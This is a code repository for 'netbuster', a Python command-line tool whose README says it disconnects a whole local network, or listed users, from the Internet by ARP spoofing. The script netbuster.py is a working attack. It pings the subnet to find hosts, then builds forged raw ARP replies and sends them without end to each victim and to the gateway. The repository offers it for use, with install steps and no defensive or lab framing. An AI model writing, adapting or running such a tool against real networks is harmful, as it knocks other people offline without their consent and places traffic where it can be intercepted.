├── README.md ├── install.sh ├── netbuster.py ├── requirements.txt └── target.txt /README.md: -------------------------------------------------------------------------------- 1 | # netbuster 1.0.3 2 | #### Description 3 | The program requires root privileges. 4 | 5 | The program is adapted for work only in Linux environment. 6 | 7 | It works on the basis of ARP spoofing, done without the use of third-party programs. 8 | 9 | #### Install 10 | ``` 11 | > git clone https://github.com/securityhigh/netbuster-cli 12 | > cd netbuster 13 | > pip install -r requirements.txt 14 | ``` 15 | 16 | #### Run 17 | ``` 18 | // For help. 19 | > sudo python3 netbuster.py --help 20 | 21 | // Disconnect the entire local network from the Internet. 22 | // Run until all devices are detected. 23 | > sudo python3 netbuster.py -i wlan0 24 | 25 | // Disable individual users. 26 | > sudo python3 netbuster.py -i wlan0 -t target.txt 27 | ``` 28 | 29 | **-i** or **--interface** - your network interface. 30 | 31 | **-t** or **--target** - file with ip addresses, so as not to kill the entire subnet. 32 | 33 | **-p** or **--ping** - set custom delay for ping scanner. (default: 2s) 34 | 35 | 36 | ## Install on the system 37 | ``` 38 | > sudo chmod +x ./install.sh 39 | > sudo ./install.sh 40 | ``` 41 | 42 | #### Run 43 | ``` 44 | > sudo netbuster [*arguments] 45 | ``` 46 | 47 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Check root 4 | if [[ $EUID -ne 0 ]]; then 5 | echo "This script must be run as root" 6 | exit 1 7 | fi 8 | 9 | # Installation 10 | sudo pip install -r requirements.txt 11 | sudo cp netbuster.py /usr/local/bin/netbuster 12 | sudo chmod +x /usr/local/bin/netbuster 13 | -------------------------------------------------------------------------------- /netbuster.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import re 4 | import socket 5 | import asyncio 6 | import aioping 7 | import binascii 8 | import argparse 9 | import netifaces 10 | 11 | 12 | ARP_FILE = "/proc/net/arp" # ARP table file 13 | ARP_PACKET = b'\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02' # ARP Packet 14 | PROTOCOL_IPV4 = socket.htons(0x0800) # Ethernet II Protocol 15 | 16 | PING_TIMEOUT = 2 # Response timeout in ping (seconds) 17 | REQUEST_DELAY_CLIENT = 0 # ARP request delay for client (seconds) 18 | REQUEST_DELAY_GATEWAY = 0.3 # ARP request delay for gateway (seconds) 19 | 20 | 21 | # Regular expression patterns 22 | class Pattern: 23 | IPV4 = r'\d+\.\d+\.\d+\.\d+' 24 | MAC = r'(?:[0-9a-fA-F]:?){12}' 25 | 26 | 27 | class ARP: 28 | Table = [] 29 | 30 | def __packet_generate(sender_mac, target_mac, sender_ip, target_ip): 31 | sha = Network.encode_mac(sender_mac) 32 | tha = Network.encode_mac(target_mac) 33 | 34 | spa = socket.inet_aton(sender_ip) 35 | tpa = socket.inet_aton(target_ip) 36 | 37 | return tha + sha + ARP_PACKET + sha + spa + tha + tpa 38 | 39 | async def spoofing(connect, victim, gateway, interface_mac, delay): 40 | packet = ARP.__packet_generate(interface_mac, victim[1], gateway[0], victim[0]) 41 | 42 | while True: 43 | connect.send(packet) 44 | 45 | print(f"ARP packet send to {victim[0]} ({victim[1]}), operation REPLY (0x0002)") 46 | await asyncio.sleep(delay) 47 | 48 | def get_connect(interface): 49 | connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, PROTOCOL_IPV4) 50 | connect.bind((interface, PROTOCOL_IPV4)) 51 | 52 | return connect 53 | 54 | def get_table(): 55 | with open(ARP_FILE) as arp: 56 | ARP.Table = [] 57 | 58 | for line in arp.readlines(): 59 | ip = re.search(r'\d+\.\d+\.\d+\.\d+', line) 60 | mac = re.search(r'(?:[0-9a-fA-F]:?){12}', line) 61 | 62 | if ip and mac and mac.group(0) != "00:00:00:00:00:00": 63 | ARP.Table.append((ip.group(0), mac.group(0))) 64 | 65 | return ARP.Table 66 | 67 | def get_mac(ipv4): 68 | for client in ARP.Table: 69 | if client[0] == ipv4: 70 | return client[1] 71 | 72 | return False 73 | 74 | 75 | class Network: 76 | def encode_mac(address): 77 | return binascii.unhexlify(address.strip().replace(':', '')) 78 | 79 | def get_interface_mac(interface): 80 | return netifaces.ifaddresses(interface)[netifaces.AF_LINK][0]["addr"] 81 | 82 | def get_interface_ipv4(interface): 83 | return netifaces.ifaddresses(interface)[netifaces.AF_INET][0]["addr"] 84 | 85 | def get_interface_gateway(interface): 86 | gateways = netifaces.gateways()[netifaces.AF_INET] 87 | 88 | for gateway in gateways: 89 | if gateway[1] == interface: 90 | return gateway 91 | 92 | return None 93 | 94 | def get_interfaces(): 95 | return netifaces.interfaces() 96 | 97 | def get_gateways(): 98 | return netifaces.gateways()[netifaces.AF_INET] 99 | 100 | def get_default_gateway(): 101 | return netifaces.gateways()["default"][netifaces.AF_INET] 102 | 103 | async def ping(host, timeout = 2, subnet = False): 104 | if subnet: 105 | mask = '.'.join(host.split('.')[:-1]) 106 | tasks = [asyncio.create_task(Network.ping(f"{mask}.{net}")) for net in range(1, 255)] 107 | 108 | await asyncio.wait(tasks) 109 | 110 | else: 111 | try: 112 | await aioping.ping(host, timeout=timeout) 113 | 114 | except TimeoutError: 115 | pass 116 | 117 | 118 | async def attack(victims, gateway, interface): 119 | connect = ARP.get_connect(interface) 120 | interface_mac = Network.get_interface_mac(interface) 121 | tasks = [] 122 | 123 | for victim in victims: 124 | if victim != gateway: 125 | tasks.append( 126 | asyncio.create_task(ARP.spoofing(connect, victim, gateway, interface_mac, REQUEST_DELAY_CLIENT))) 127 | tasks.append( 128 | asyncio.create_task(ARP.spoofing(connect, gateway, victim, interface_mac, REQUEST_DELAY_GATEWAY))) 129 | 130 | await asyncio.wait(tasks) 131 | 132 | 133 | async def local_scanner(gateway): 134 | result = [] 135 | interface_ip = Network.get_interface_ipv4(gateway[1]) 136 | 137 | await Network.ping(gateway[0], timeout=PING_TIMEOUT, subnet=True) 138 | ARP.get_table() 139 | 140 | for client in ARP.Table: 141 | if client not in [interface_ip, gateway[0]]: 142 | print(f" -- {client[0]} ({client[1]})") 143 | result.append(client) 144 | 145 | if result == []: 146 | print("No hosts found on your local network. Try again..") 147 | raise KeyboardInterrupt 148 | 149 | else: 150 | answer = input("\nContinue? [Y/n] ") 151 | 152 | if answer not in ['Y', 'y']: 153 | raise KeyboardInterrupt 154 | 155 | return result 156 | 157 | 158 | async def main(): 159 | victims = [] 160 | args = parse_arguments() 161 | 162 | if args.ping: 163 | PING_TIMEOUT = args.ping 164 | 165 | if args.interface: 166 | gateway = Network.get_interface_gateway(args.interface) 167 | 168 | if gateway is None: 169 | print(f"Interface {args.interface} not enabled.") 170 | raise KeyboardInterrupt 171 | 172 | else: 173 | gateway = Network.get_default_gateway() 174 | print(f"Interface {gateway[1]} used.") 175 | 176 | if args.target: 177 | print("") 178 | 179 | with open(args.target) as file: 180 | ARP.get_table() 181 | 182 | for client in file.readlines(): 183 | ipv4 = client.strip() 184 | 185 | await Network.ping(ipv4, timeout=5) 186 | mac = ARP.get_mac(ipv4) 187 | 188 | if mac: 189 | victims.append((ipv4, ARP.get_mac(ipv4))) 190 | print((ipv4, mac)) 191 | 192 | else: 193 | print(f" -- {ipv4} (Invalid IPv4)") 194 | 195 | if len(victims) < 1: 196 | print("\nNo valid IPs were found in your file.") 197 | raise KeyboardInterrupt 198 | 199 | else: 200 | print("Scanning computers in local network..\n") 201 | victims = await local_scanner(gateway) 202 | 203 | gateway_mac = ARP.get_mac(gateway[0]) 204 | await attack(victims, (gateway[0], gateway_mac), gateway[1]) # Victims List; Gateway (IP, MAC), Interface 205 | 206 | 207 | def parse_arguments(): 208 | parser = argparse.ArgumentParser() 209 | 210 | parser.add_argument('-i', '--interface', dest="interface", help="Set interface or use default") 211 | parser.add_argument('-t', '--target', dest="target", help="Target's list file") 212 | parser.add_argument('-p', '--ping-delay', dest="ping", help="Custom ping delay for scanning (default: 2s)") 213 | 214 | return parser.parse_args() 215 | 216 | 217 | if __name__== "__main__": 218 | loop = asyncio.new_event_loop() 219 | asyncio.set_event_loop(loop) 220 | 221 | try: 222 | loop.run_until_complete(main()) 223 | 224 | except KeyboardInterrupt: 225 | loop.close() 226 | print("Attack was stopped.") 227 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | netifaces 2 | asyncio 3 | aioping 4 | -------------------------------------------------------------------------------- /target.txt: -------------------------------------------------------------------------------- 1 | 192.168.1.100 2 | --------------------------------------------------------------------------------